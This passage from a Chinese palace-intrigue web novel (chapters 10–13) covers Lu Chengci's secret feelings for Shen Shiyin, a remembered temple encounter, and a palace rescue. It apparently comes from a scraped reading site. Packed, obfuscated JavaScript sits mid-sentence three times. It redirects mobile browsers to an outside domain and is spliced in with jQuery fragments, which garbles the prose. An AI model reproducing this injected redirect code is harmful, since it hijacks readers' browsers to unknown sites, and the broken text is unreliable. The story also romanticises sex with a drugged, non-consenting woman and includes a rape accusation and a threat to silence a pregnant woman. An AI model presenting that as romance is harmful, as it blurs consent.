陆呈辞见她迟迟不语,目光却始终未曾移开。他眼中宛若盛着万里星河,千言万语都敛在那一片深邃之中。甚至,还藏着一丝难以察觉的幽怨。 他在怨什么?沈识因看不明白。只觉得那眼神像在无声地控诉,仿佛她欠了他什么,让她无端想要逃避。 寂静在房中蔓延,气氛逐渐微妙。她下意识向后退了一步,转身踱向窗边,不再作声。 陆呈辞也没有再多言,默然出了房间。 岳秋见他出来,迎上前禀道:“世子,都已安排妥当。我们是去月洞湖,还是直接进宫?” 说话间,他瞥见陆呈辞微微泛红的脸颊,不由疑惑,公子又怎么了?最近好像很不对劲,总是无缘无故地脸红出神,也不知在想些什么。 按理说,以世子这般经历过风雨、练就一身本事的人,不该有此等情状。更何况这些年来,他从未见世子与女子有过什么接触,俨然一副冷心冷情、不解风月之态。 莫非是频繁与沈识因见面所致? 陆呈辞转身朝一旁的兵器房走去,沉声吩咐:“加派人手,将他们三人盯紧。再调一队人马到沈府附近暗中看守。我现在入宫将小福接出来,随后再去月洞湖。你先去那边仔细排查。” 他顿了顿,语气凝重:“今夜必有一场大乱,事关许多人的生死,更关乎局势走向。到时难免有人受伤,虽未必能全然阻止,但务必要尽力护住百姓周全。刀剑无眼,终究会伤及无辜。” 岳秋躬身应道:“遵命,世子,我这就去安排。” 他说罢大步出了院门,却见周烨策马疾驰而来。 周烨的马还未停稳,便翻身而下,看到岳秋后急忙问道:“情况如何?世子当真将沈识因与云棠关了起来?” 岳秋点头:“暂时关押了起来,不过世子也是为他们的安危着想。我现有要事需外出,具体情况你去问世子。”说完指了指兵器房的方向。 周烨应了一声,快步走向兵器房。他一踏入房间,便看到陆呈辞正站在一排兵器前,仔细挑选着暗器往身上佩戴。 陆呈辞听到脚步声,头也未抬,清声道:“你来得倒快。我还以为是沈意林先到。” 周烨急步上前,焦灼道:“今日究竟是怎么回事?你怎可将他们关押起来?若是让太师大人知道了,还得了!” 陆呈辞利落地将最后一件暗器装好,又取了一对玄铁护腕戴上,这才道:“不得已。云棠与严澈二人太过闹腾,我怕他们惹出乱子,先关起来再说。” “那沈识因呢?”周烨追问,“你为何连她也关了?她可是太师府的人。今夜这场动乱,她祖父也有参与,这都是皇上设下的局。你将她关起来,这不是自找麻烦吗?” 陆呈辞微蹙眉头,沉声道:“正因这场动乱有她祖父参与,我才更要将她关起来。皇上虽做了万全准备,但陆陵王绝非表面看起来那般简单。我与他相处数年,最是了解他的性子,只怕皇上这次要失算了。” 他系紧护腕,继续道:“我现在要入宫将小福接出来。宫中传来密报,说小福身份可能已经暴露,我不能让他死在宫里。” 周烨完全不能理解,拧眉问道:“你去救他作什么?小福是陆陵王的儿子,当初陆陵王如何待你的都忘了吗?那些年你在他手里几度濒死,如今竟要去救他的儿子,莫不是疯了?再说皇宫是什么地方,岂是你说救就能救得出的?” 陆呈辞沉默片刻,整理着腕带,良久才低声道:“小福曾帮助过我。虽然他父亲待我不好,但我能活下来,也多亏有他暗中相助。” 他说罢,眸色又沉郁了几分。 “也罢。”周烨叹了口气,“不过我觉得你还是先把人放了,不然交给我也行,我看着他们,绝不会让他们今晚惹出乱子。” 陆呈辞摇头道:“不行。如今不知多少双眼睛盯着他们,这些人就是要趁乱生事,唯有将他们拘在此处才最稳妥。皇上与陆陵王皆是狡诈之辈,若此次动乱不成,必定还有后手。这些年轻一辈怕是首当其冲,我不得不防。” 周烨忧心忡忡:“但你将沈识因关押,可就牵连到了亲王府。太师大人本就是敏感之人,昨日你去沈府时虽未与他照面,但他定然已经知晓。皇上日日盯着你们的动向,若再与沈家往来过密,皇上绝不会坐视不管。如此也会给亲王府招来祸患。” 陆呈辞利落地系好护腕,又取下一柄长剑佩在腰间,沉声道:“那我还要隐忍到何时?已经两年了……这两年来我处处避嫌,连沈家的门都不敢踏进一步,就是怕稍有不慎护不住她。可我忍了这两年又如何?” 他声音陡然一沉:“她都要与别人议亲了。” 周烨劝道:“我知你这两年忍得辛苦。可你如今方才起步,你父亲对你寄予厚望。皇上与陆陵王斗得这般厉害,迟早一战,你父亲筹谋多年为的就是这一刻。他寻了那么久才将你找回,你万不能因儿女私情就意气用事。” 陆呈辞静默片刻,忽而冷笑一声:“你说得不错。可近日与她相处之后,我的想法改变了。” “动心了?”周烨凝视着他,“动心也在所难免。毕竟两年前你们有过那般深刻的过往,而你又是这般死心眼的性子。可你有没有想过,若不去打扰她的生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221035|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她或许能过得更好?” “寺庙那桩事她既已忘记,两年来又过得安稳,如今更有了议亲的人家,你还有什么不放心?现在你横插一脚,于她而言未必是好事。再者,你且想想亲王府的立场。” “她的祖父,他们沈家世代皆为天子近臣。那样隐秘而至关重要的关系,皇上多少风雨诡谲、翻天覆地的大事,皆由他祖父一手操持。圣心倚重,如倚长城。你觉得,这样的沈家,会把嫡亲的孙女许配于你?绝无可能。” “除非,你父亲,你们整个亲王府,俯首称臣,彻底归顺,或还有一线微末之机。否则,莫说是明媒正娶,哪怕只是沾上一点边,都会掀起轩然大波。如今这局势,你觉得,与他们牵扯,对你们能有半分好处?” 周烨这番话,字字如刃,直刺陆呈辞心口。他抬眼,望向架子上那柄凝着幽光的冷剑,沉声道:“那又如何?既然天命不容改易,那便杀出一条血路,由我来重写命运。” “重写命运?”周烨无奈轻叹,“如此说来,我方才一番话,尽是白费。你说杀出血路,谈何容易?你父亲经营多年都未能破局,你凭什么以为你能?你莫非忘了昔日受的痛苦?连你娘是怎么死的……也都忘了?” 周烨烦躁地皱着眉头看他。 陆呈辞嗓音又沉了几分:“我怎么可能忘记,血海深仇,此生必报。可是周烨,当初是沈识因救了我。” “当年在寒山寺,是她让我觉得,我还活着,还是个活生生的人。也是她,拖着被人下了毒、几乎濒死的身子,硬是撑着一口气跑下山,然后找到你去寻我舅父,我才得以活到今日。” “周烨,你说,这般恩情,我怎能忘记?即便谈不上爱情,可这份重如泰山的恩情,我陆呈辞不敢忘,也不能忘。” “这两年来,我远远望着她,一眼又一眼,却连一句问候都不敢递到她面前。以前,我总是想,既然她已经忘记,那就彻底过去吧。可近来我总是梦见那座寺庙,梦到她。” 周烨凝神瞧着他,见他眼底似有痛色掠过,不由沉声问道:“所以,你这般接近她,究竟是为了报恩,还是出于私人感情?” 陆呈辞声音里带着几分迷茫:“我不清楚,但我始终记得她说过的那句话,她说会对我负责,会与我结发长生。” 没人知道这句话他记得有多清楚。 他自幼尝尽人间苦难,看惯了世态炎凉,在那炼狱般的境遇中挣扎求生,甚至曾在鬼门关前走过一遭。 这样一个被冰冷世道淬炼过的人,其实早已习惯了人心的薄凉,又该如何去体会一段纯粹真挚的爱情? 所以,他自己也说不清。 他笔挺地站着,漆黑瞳仁里晕着淡淡忧愁。 忽然又想起两年前在寺庙时,他与沈识因那段荒唐而又难以忘怀的过往。 那时候,他还是一个四处逃亡的落魄书生。 10. 第 10 章 两年前,陆呈辞也不过是个十九岁的少年郎。 自十三岁起,他便漂泊在外,六年风霜,辗转流离。几乎日日皆在追杀中奔逃,藏匿于山野村道,辗转于城乡之间。 起初他只能乞讨度日,后来幸得一位善心人收留,不仅予他温饱,更教他读书明理。 寄人檐下那一载光阴,他日夜苦读,试图以笔墨改命,亦借诗书暂忘苦楚。 他天资聪颖,过目不忘,为保性命还暗中习得剑法。本以为能得一方安宁,却在一年后再遭劫难,致使收留他的恩人也不幸丧命。而他,只得重踏亡命之途。 那些年饥寒交迫,身形清瘦如竹,可一身天家清贵之气,却未曾折损半分。 他愈发拼命读书,无论流落至何处,手中总攥着半卷残书。他深知,唯有强大己身,方能挣脱这无休无止的追杀。 那日,杀手追至寒山,他仓皇躲入寺中。佛门清净地,杀手不敢轻举妄动,只得将整座山寺围作铁桶一般。 他藏身于后院柴房,这一躲便是好几日。正当他倚着柴堆准备啃下最后半块馒头时,木门突然被撞开。他以为是杀手追杀而来,不料闯进来的却是个身着樱色襦裙的姑娘。 姑娘鬓发散乱,面若霞烧,踉跄着扑到水缸前掬水狂饮。因喝得急促,水珠顺着玉颈滚落衣襟。 她转过身,看到他后先是一惊,而后不由分说地扑进他怀中。 她滚烫的脸颊贴着他冰凉的颈项,馨香混着药气瞬间扑面而来。 他六年逃亡,何曾与女子这般肌肤相亲,一时间整个人绷得如满弓之弦。 姑娘滚烫的双手紧紧钩住他的脖颈,使劲往他身上贴。他僵着身子,一动也不敢动。 苦熬多年的少年郎,原以为此生但求温饱苟活便是侥幸,怎料会在佛门禁地,遭遇这般境况。 姑娘瞧着年岁尚小,玉肌莹润,杏眼迷蒙,宛若水做的人儿。尤其那双眸子,如浸春露的琉璃,只消一眼便教人心魂俱颤。 再看她的穿着,绫罗锦衣,必是富贵娇娥,此刻却似失了神智,软绵绵地攀附着他不肯松手。 他当时惊惶失措,以为她是来抢夺那仅剩的半块馒头。不料,她那双纤纤玉手竟开始撕扯起他的衣衫。 他越是推拒,她撕扯得越发急切。 温香软玉贴上来的那一刻,两瓣樱唇带着蜜似的清甜,不由分说地封住了他的惊喘。 他僵在原地,心口擂鼓般震得耳膜嗡鸣。六年颠沛流离,竟在这佛门净地,被一个来历不明的姑娘按在地上轻薄。 他震惊而又慌乱。 但她的唇又甜又软,如蜜般直往心里灌。那感觉恰似枯寂多年的山巅忽逢甘霖,萎败的花枝霎时绽出胭脂色,所有感官都变得异常敏锐。 他被她缠得浑身滚烫。 鼻尖萦绕着她身上的兰麝暖香,指尖所触皆是温软玉肌,唇间蜜意直沁入心田。 她伏在他身上,生涩地吻着,他半推半就地承着这个带着甜味的吻,恍惚间竟觉出几分活着的鲜气。 残存的神智在叫嚣着危险,他明白男女肌肤相亲意味着什么。可当她贴上来时,推拒的手却止不住地发颤。 最后一丝理智终究占了上风,可瞧见她泪眼朦胧的痛苦模样,他心口竟泛起前所未有的悸动与怜惜。直至那句“我会负责,我会与你结发长生”从她口中说出,那一刻,他觉得不是自己救了这落难的娇娥,而是这来历不明的姑娘,用一场荒唐救赎了他六年颠沛流离的孤魂。 他读过那么多圣贤书,自然明白“结发长生”四字千钧之重。 他鬼使神差应下的那一刻,便如推倒了玉山琼阁,再难收拾。 从相拥到唇齿交缠,再到彻底占有那具馨香柔软的身子,他竟在佛前破了清规。 他将人紧紧搂在怀里,吻着那两瓣犹带甜香的唇,激动得忘却了所有艰险。乃至后来不得不离去的大半年光景,他仍日夜惦念着柴房里那场云雨,姑娘迷离的眼波与温软的喘息,早已烙进心里再难剥离。 那日得她相助脱困后,父亲将他接回亲王府,命运从此天翻地覆。 再相见,已是半年后的春日。他隔着街市人潮,望见她身着杏子黄绫裙,正与姊妹说笑着从绣坊出来。 日光恰好镀在她侧脸,他这才看清,原来她是这般玉做的人儿。 眉似新月,目若秋水,笑时唇角漾起的梨涡甜得叫人心尖发甜。 他下意识抚向袖中那只珍珠耳坠。当初临别时她塞进他手心的信物,似乎还带着她的体温:“日后有难处,可凭此物来太师府寻我。” 他捏着莹润珍珠,恍若又嗅到柴房里她鬓发间的清香。 街市喧嚣霎时远去,唯余掌心这点微光,照见半年前佛寺柴房中,两个交缠的身影。 他将那枚耳坠贴身收着,总盼着有朝一日能执此物与她相认。奈何亲王府事务繁杂,加之父亲暗中筹谋的大事,终究让他怯于踏出那一步。待得知她祖父与亲王府竟是政敌,更是彻底绝了相认的念头。 每每见她笑眼盈盈出入贵胄宴席,便宽慰自己那日荒唐应当未给她带来烦忧。直至某日才惊悉,她竟将寒山寺种种忘得干干净净。 他暗中查访方知,那日她中的不止是媚药,更掺了令人失忆的迷香。两种药性相冲,教人在情动之时渐忘癫狂。 他握着那枚珍珠耳坠在月下枯坐整夜,想象不出她当初是怎样忍着蚀骨药性,跌跌撞撞跑到山下去寻人相助,最终救了他的性命。 她失忆了,昏迷后再醒来便似换了一个人。沈府将一切消息牢牢封锁,至今无人知晓她曾经遭遇过什么,就连她自己,也忘得一干二净。 可这一次,当他再度靠近,她看向他的目光却总是带着探究与犹疑。尤其那日,她忽然问他:“我们是不是在哪里见过?为何总觉得你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221036|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般熟悉。” 他当时心下一慌,既怕她想起什么,又隐隐盼着她能记起自己。 直至昨日,眼见那位与她青梅竹马的探花郎登门求亲,他心里止不住地泛酸,涩意涌上心头,竟让他难以承受。 宴席散后,他未曾离去,只想同她再说几句话。可不知怎的,待真走到她面前,望着那双看他时懵懂的双眼,话到唇边却变成一句:“不然,你嫁给我。” 他望着她眼中的惊诧与难以置信,深知她自然不会答应。毕竟二人不过初见,她怎会应下这般唐突的请求?更何况,她已经忘记了他,也忘记了许给他的诺言。 他邀她同看烟花,本是想借机将她安顿起来,因为今夜会有一场动乱。她拒绝了他的邀请,结果却还是在茶楼里与她相遇了。 这,怎么不算缘分呢? 或许在旁人看来,他这般行事荒唐又莫名其妙,可他心里明白,自己已经乱了方寸。尤其在听闻她即将与人议亲之时,他便莫名地焦躁难安。 这些心事于他而言太过沉重。从前当他决意不再与她有半分牵扯时,尚觉得能够承受,偶尔远远望上一眼,听听她的近况与传闻,便也心满意足。可近日却愈发失控,竟做出许多连自己都无法理解的举动。 他无声地叹了口气,望向神色复杂的周烨,道:“你不必太过忧心,此事我自会处置妥当。纵然我与她今后未必能有结果,我也定要拼出一条路来,一条无论在人前或是私下,都能让我们光明正大往来的路。” 周烨回望着他,从那双眼眸深处读出了难以言说的挣扎。他明白陆呈辞此刻的艰难,这关乎整个亲王府的前程,若在此时牵扯进儿女私情,尤其是与太师嫡孙女的纠葛,只怕要付出加倍代价,还不一定有个好结果。 周烨未再多言,随他走出兵器房,低声道:“今夜之事我不便插手,你务必当心。我现下要去太师府一趟,书媛那边忧心不已,我去好生安慰安慰。” 陆呈辞闻言轻笑一声:“真好,挺让人羡慕。” 周烨拍了拍他的肩:“羡慕什么,迟早你也会有的,而且会更好。这辈子的苦既已吃尽,往后都是甜的了。” 周烨与陆呈辞自幼一同长大,中间虽多年未相见,但是情义依旧深厚。周烨深知陆呈辞这些年吃尽多少苦楚,又是凭着怎样的意志从死神面前硬生生熬过来。 正因为如此,他比谁都盼望这位挚友能一步步强大起来,过得轻松幸福。 --- 因着今日街市上有场盛大烟花会,徐夙阳本欲带着沈识因同去观赏,却被母亲拦住了。母亲说,现在应该给对方留些余地细细思量,也让他趁此去见一见那位卖花姑娘。若真想迎娶沈识因进门,总该先将这头的事了结干净。 母亲还说,父亲已经寻到了好法子,定能让他如愿以偿地将沈识因娶回家。 如此他便放心了,便去了偏院见那位卖花女。 11. 第 11 章 许夙阳到了偏院,推开房门,只见一名女子正静坐在桌前。女子见他进来,缓缓站起身。 他的目光落在她明显隆起的小腹上,骤然僵在原地,皱起了眉头。 桌子上的烛光照在她脸上,他细细打量,但见她生得眉目清秀,一双眸子水润澄澈,脸型圆润,气质淳朴,似是普通人家的姑娘。 她见了他,亦是微微一怔,随即走上前,抬头望着他,轻声问:“你过来,是要与我商议成婚的吗?” 成婚? 许夙阳眉头皱得更紧,喉结微动,没有作声。 “我叫林苑。”女子朝他伸出一只手,语气温和。 许夙阳瞥了一眼她的手,依旧沉默。近距离发现,她容貌虽不算惊艳,却别有一番天生丽质,气质也与寻常民女迥异。然而,若与他相识的那些高门贵女、尤其是沈识因相比,还是有些差距。 他凝视着她,神色复杂,恍惚间似乎想起些什么,却又不敢确认。 林苑见他迟迟不语,便指了指屋内的凳子,道:“进来坐罢。有些事情,我们还是要说开。” 她抬手轻抚隆起的小腹,声音里带着几分怅然:“腹中是你的骨肉,这都好几个月了,总是这样拖着也不是办法,既然已经有了,我们总该对孩子负责。我知道你或许一时难以接受,但不打紧,只要你能认下我与这个孩子,怎样都成。” 她语气温婉,没有半分埋怨,倒像是走投无路之后的平静坦然,也不似那些讹诈之徒的作态。 她朴素得让人心头发涩。 那日在酒楼初遇,正是因着她这份朴素与真诚,他才接下她递来的那枝海棠花。 谁曾想,一枝花的缘分,竟结出这样的“果子”。 他走到里间坐下,虽心中纷乱,但举止间仍带着世家子弟与生俱来的矜贵,袍袖拂动间自有清雅风范。 他目光沉沉地注视着她,开口道:“我今日来,是想听你说几句实话。你年纪尚轻,生计艰难,难免为银钱所惑。若是你愿意将实情道来,我绝不怪罪,还会赠你银两,助你远离此地,从此不必再过贫苦日子。所以,你实话告诉我,你是否受人指使,前来构陷于我?” 一个女子行此等事情,多半是被人收买,或是为生活所迫。但肯用这般手段的,想来骨子里也非良善之辈。 林苑闻言蹙紧眉头,眼中泛起盈盈水光,声音微哽:“许公子何出此言?那日分明是你先轻薄于我。是你买下我所有的花,又将我引至房中,还让我给你细说花经。可我一进屋,你就将我拽入怀中,二话不说便要褪我的衣裳……” 她抬手拭了拭眼角,继续道:“当时我吓得魂飞魄散,哭着挣扎,你却死死箍着不放,最后……最后终究是强要了我。” 她话音未落,两行清泪已顺着面颊滑落。 许夙阳见她一副楚楚可怜的模样不似作伪,却仍沉声道:“林姑娘,你我皆非稚童,说话该当有些分寸。我心中既已有了意中之人,又怎会轻易对陌生女子行越矩之事,更何况是你这般的。” 她这般的? 她猛地抬头看他。 他略微一顿,将语气放缓一些:“我已说得明白,只要你肯说出实情,我不但既往不咎,还会赠你银两,让你平安产子。” 他从怀中取出一叠银票,起身走到她面前,将银票塞进她手中:“这些银票足够你们母子一世衣食无忧。若不愿说出指使之人也罢,只望你往后莫要再同旁人提及孩子是我的,更别诬陷我轻薄于你。这等污名,我担待不起。” 他凝视着她泫然欲泣的模样,声音又沉了几分:“既然已有了身孕,为人母者总该为孩子的将来着想。你若是聪明人,就拿着银两离开此地,永远别再回来。” 许夙阳原想着息事宁人,自以为能凭银钱将此事压下。在他想来,这般出身贫寒的女子,多半抵不过金银诱惑,才会被人利用。 房间里安静了一会。 林苑望着手中那叠银票怔了半晌,又轻轻推了回去,低声道:“许公子,我不要这些银子。” 她抬起泪眼,声音虽轻却坚定:“我只求一个说法。当日是您轻薄于我,还亲手写下婚书,许诺要娶我过门,如今怎能言而无信?若觉得我撒谎,那婚书上的印章莫非不是您的?您若执意背信,我也只好去官府讨个公道了。” 许夙阳没料到她拒绝得这般干脆。她不要银钱,那要什么? 他们素不相识,谈爱情自是荒谬,莫非她真想进许家的门? 他眸光深沉,语气渐冷:“林姑娘,我好话说了,银票也给了,望你好自为之。即便你说的是真的,即便这孩子真是我的……” 他冷笑一声:“你以为我会娶你?让你进许家门?甚至坐上正妻之位?你也该明白自己的身份,我们之间绝无可能。” “若这一切属实,我最多认下这个孩子。你该知道许家是什么门第,我是什么身份。若再继续纠缠,让你悄无声息地消失,也不是难事。” 许夙阳素来言辞温雅,语调从容,说出的话乍听似是句句在理,细品却如绵里藏针。 林苑怔了好一会儿才回过神,接着掩面啜泣起来:“这世道怎能如此,您虽位高权重,家财万贯,却也不能随意玷污了一个清白女子后就不认账。” 她抽噎着走到他跟前,泪珠成串地落下:“我是出身贫寒,比不得那些金尊玉贵的大小姐,可我也是个人,也会觉得委屈……” 她说着便伸手扯住他的衣袖,低声呜咽起来。 许夙阳见她这般拉扯,蹙眉道:“那你待如何?” 林苑见他未甩开自己,便壮着胆子握住他的手,轻轻按在自己隆起的肚腹上:“你摸摸看,我们的孩儿已经这般大了,很快就会出世。你这么优秀,想来我们的孩子也一定会非常优秀的。” 她抬起泪眼朦胧的脸,声音愈发柔软:“我知道自己的出身配不上你,可事已至此,你不能不管不问,总得让我们的孩儿在父亲身边长大 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他才二十出头,年轻气盛,血气方刚,多想尝尝亲吻缠绵的滋味,却一直苦无机会。 此时此刻,被这个陌生女子大胆地扣住手指,竟莫名地生出一丝兴奋来。 她见他不反抗,便伸臂搂住他的腰身,脸颊在他胸前轻蹭着,声音软得发腻:“夙阳,抱抱我和孩子,好不好?” 她每一声都娇得人骨软,如此投怀送抱,叫他如何抵挡得住。 他深吸一口气,抬起手,触到她的腰身又放下,冷静片刻后,还是推开了:“此事……尚需仔细查证。若你执意胡搅蛮缠,就莫怪我不讲情面了。” 他说完,不等她回答,便大步地出了房间。 —— 此时,东街正举办着一场烟花盛会。街上人潮如织,灯火辉煌,各处要道皆有重兵严密把守。 岳秋在街市巡视一番未见异样,便悄然乔装改扮,混入了今夜燃放烟花的后台。 与此同时,陆呈辞顺利入宫,寻了处隐蔽角落褪去外衫,蒙上面纱,朝着御膳房方向跃身而去。 恰在此时,沈识因的祖父、当朝太师沈昌宏,正神色仓皇地从御书房方向快步出来。 一名护卫急忙上前禀报:“太师,府中来人急报,称三小姐被亲王府的陆世子带走,关进了审司堂。沈大人与公子皆不在府中,夫人派人前去要人,但审司堂那边回应,没有陆世子的命令绝不放人。” 沈昌宏闻言脸色骤变。 护卫又道:“万不得已,夫人亲自赶去了审司堂,却连大门都未能进去,也不知三小姐被关在何处,更未见到陆世子。太师,您看怎么办?” 太师沈昌宏虽年逾花甲,却依旧精神矍铄,龙章凤姿不减当年,眉宇间自有一股不怒自威的气势。 他皱着眉,掏出令牌递给护卫,沉声道:“拿着我的令牌去审司堂要人,再把陆呈辞‘请’到太师府来,老夫倒要瞧瞧这小子想做什么。” 12. 第 12 章 关于沈府与亲王府,沈昌宏比任何人都更清楚沈家的立场,也深知亲王府日后将面临怎样的命运。 眼下虽有陆陵王半途插手,搅得皇上焦头烂额,可亲王府那潭水,却从来不容小觑。尤其是那位陆亲王,为人阴险狡诈、心机深沉,比之只会横冲直撞的陆陵王,着实难对付得多。 身为辅佐皇上多年的老臣,沈昌宏为此殚精竭虑,煞费苦心。他早已将自家与亲王府之间的利害关系看得清清楚楚。即便平日里两府人员偶有往来,也不过是场面上的浅交,从未有过深涉。 每逢朝会宴席遇见陆亲王,他也只维持着表面礼数,不多一分,不少一厘。陆亲王又何尝不清楚沈家在朝中的根基与分量,故而平日也鲜少刻意刁难。 然而,令沈昌宏万万没有想到的是,亲王府的世子竟敢明目张胆地将他的孙女儿扣押在审司堂。审司堂是什么地方?岂是一个女子能被轻易关押之处? 自昨日至今日,他一直伴驾左右,未曾回府,竟不知家中生出如此变故。眼下正值多事之秋,今夜更是关键之时,陆呈辞偏偏在此时横生枝节,莫非是有意插手?若真如此,只怕局面将愈发不可收拾。 他匆匆吩咐护卫几句,便转身重返御书房。 另一头,陆呈辞已悄然潜入御膳房。依照先前布置,他顺利寻到了在内应职的小福。小福尚未回神,便被陆呈辞用布罩蒙住了头,一把扛起带离此地。 年方十七的小福,一年前被其父安插入宫,埋作暗棋,只为有朝一日能里应外合、直取皇城。这一年多来,他藏得极好,也的确传出不少消息,却不知自己的身份或许早已暴露。 陆呈辞对宫中路径极为熟稔,自御膳房至那处隐秘暗道,一路疾行未有迟疑。岂料才出宫墙,竟迎面撞上巡守的卫兵。所幸已出宫门,尚存周旋余地,若仍在宫内,后果不堪设想。 眼下东街局势紧迫,诸事待举,他无暇缠斗,却也不得不应对。宫门外守卫逼近之时,他眸光一冷,手中长剑倏然出鞘,顷刻间已迎风而动,杀意凛然。 这些年来陆呈辞奔走在外,早已磨出一身求生之能。他深谙躲避追杀之道,更因常在靖王府钻研皇宫护卫与御林军的杀招,此刻应对起来虽非游刃有余,却也未见慌乱。无非是人多人少、耗时长短之别。 当大批御林军汹涌而至,他背紧小福,挥剑迎敌。剑光如电,身形如风,他一边格挡四面八方袭来的兵刃,一边稳稳托住背上之人,出手又快又狠,招招凌厉。 然而那侍卫首领的武功却远出陆呈辞所料。到底是宫中精锐,出手力道与速度皆非凡俗,不过数招相拼,陆呈辞竟被逼得连退几步,渐感吃重。周遭兵卫见状更是群起围攻,他招架之势愈见艰难。 首领一刀劈来,直取咽喉,陆呈辞倏然侧身,同时袖中暗器疾射而出,几枚飞镖破空嘶啸,直扑对方数人。那领头侍卫侧身急避,几枚飞镖顿时射入他身后几名小侍卫的胸膛,只听扑哧几声,几人应声倒地。 然而四面八方的侍卫却越围越多,陆呈辞身负小福,渐觉力不从心。尤其那侍卫首领出手愈发狠厉,招招夺命。 情急之下,他只好冒险突围,索性不再防守,剑势陡然变得凌厉刚猛,直往人丛中杀去。奈何寡不敌众,不多时他身上已多处受伤。肩头骤然一痛,利剑透骨而入,鲜血顿时喷涌而出。 他咬牙挥剑斩断对方持剑的手臂,反手猛地拔出没入自己肩头的长剑,随即将自己那柄染血的长剑往地上一顿,只听“咔嚓”几声,剑身应声碎裂。下一刻,他衣袖翻卷,断刃如星飞射,直取扑来的侍卫。惨叫声中,碎片尽数没入敌身。 他趁势一个腾跃,闪入旁侧深巷,发足疾奔,甩开追兵,跳上马背,一路快马加鞭赶至城西一处僻静私宅,将小福安顿下来,又遣了心腹之人严加看守。 恰是此时,东街的夜空中烟花绚烂绽放,映得长街明灭生辉。佳节将至,游人如织,纷纷仰首笑叹,皆道这万里江山太平如画,盛世风光,莫过如是。 然而,那烟花升起之处,后台暗角竟有数道身影缠斗正烈。岳秋本是在后方巡查,却撞破有人正暗中在烟花堆垛旁动手脚。 此处多是烟花炮竹,若真被引燃,这万千花火同时炸裂,后果不堪设想,只怕半座京城都要遭殃。 幸得岳秋及时察觉,当即出手阻拦,与那几人缠斗起来。他虽然也带了几名手下,对方却极为凶悍,不过片刻,他带去的人竟已伤亡过半。 岳秋武功高强,行事机敏,昔日王爷从两千名杀手中独独择出他来做陆呈辞的贴身护卫,便知他武功与能耐绝非寻常。 因此,若要制止这场爆炸,对他而言本非难事。难却难在敌众我寡,外间又是人潮如织、喧闹鼎沸。他一人难以前后兼顾,虽早已在四周布下人手,可意图作乱之徒却无孔不入。 这其中不止陆陵王麾下,还有皇上与太师大人暗中安插的杀手。 陆陵王选择在这烟花社火之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不料陆呈辞突然勾住她腰间绣带,将她拉得更近一些,手臂无力地搭上她的肩膀,抬起头,闪动着眼眸看着她:“我现在疼得厉害,容我缓缓。” 他因失血过多,面色苍白。 突如其来的拉近,让沈识因顿时僵住。 只听他又低声道:“今晚有大事发生,待会儿你陪我演场戏。” 13. 第 13 章 沈识因从前并不了解陆呈辞,也不知道他究竟在做些什么。此刻他突然带着伤出现在她眼前,着实令她心慌意乱。 他整个人几乎倚靠在她身上,温热的体温隔着衣料传来,带着一丝血腥气,还隐约萦绕着一缕青竹香。 她呼吸微滞,竟一时忘了将人推开,只任由他倚着自己缓息。 两个人身形相贴,近得能听见彼此的心跳声,她感觉脸颊灼烧得厉害,连耳根都隐隐发烫。 房间里很安静,越是安静,越是让人凌乱。 陆呈辞忍痛倚靠片刻,方才稍稍退开些许。他抬眸,正对上她漾着水光的眼睛,那双眼似一泓映着桃花的春水,清亮温软,教人望之心头一暖。 他感觉心里像盛开了花,不自觉地向前倾身。鼻尖将触未触,温热呼吸交融的瞬间,直教他心口怦然。 沈识因一手无意识地攥紧衣袖,另一手仍小心翼翼地护着他的伤口。 她本该退开,却不知为何一动未动。望着他因受伤而苍白的面容,以及那双带着悸动与柔软的眼睛,她的身体彻底不受控制了。 他,怎么生得这么好看?身上仿佛有种强烈的吸引力,让她移不开目光。 她无意识地动了动唇,这个细微的动作却引得他又往前倾身,目光紧锁住她仿若樱桃的红唇。 他攥了一下她的绣带,将她往怀里带,随即仰首凑近。 他眼眸中漾动的柔情,撞进她略微迷离的双眼里,可就在双唇即将相触的刹那,她还是克制地闭上眼睛,别过了脸。 温热的唇瓣堪堪擦过她粉嫩的脸颊,这一触,如春冰乍破,激得他心头一麻,伸手钳制住了她娇小的下巴。 她惊了一声,被他强行扳过脸来,避无可避地迎上他带着侵略性的目光。 房间里一时静得出奇。 几乎燃着烈火的对视,烧得双方不断呼吸。 过了好一会,他才按压住情绪把她松开了。 房间里的暧昧气氛不断上升。 沈识因慌乱地转过身,有些无法理解自己方才的怔忡。甚至在他几乎要亲上来的那一刻,竟迟疑了那么久才偏头躲开。 若说一个人对另一个人生了情愫,抑或二人一见倾心,那身体的本能反应便该是最真实的映照。 自初见那一眼起,无形的牵引就已让两颗心暗自失了方寸。 从前,沈识因一度以为自己与许夙阳之间,是那种超出友情的男女之情。 可直到遇见陆呈辞,她才真正明白,原来情动,是另一番滋味。 她心慌意乱,睫羽轻颤着不敢看他。屋内静得能听见窗外的风声。 他们相见不过数面,可每回相遇,周遭空气就无端泛起旖旎。 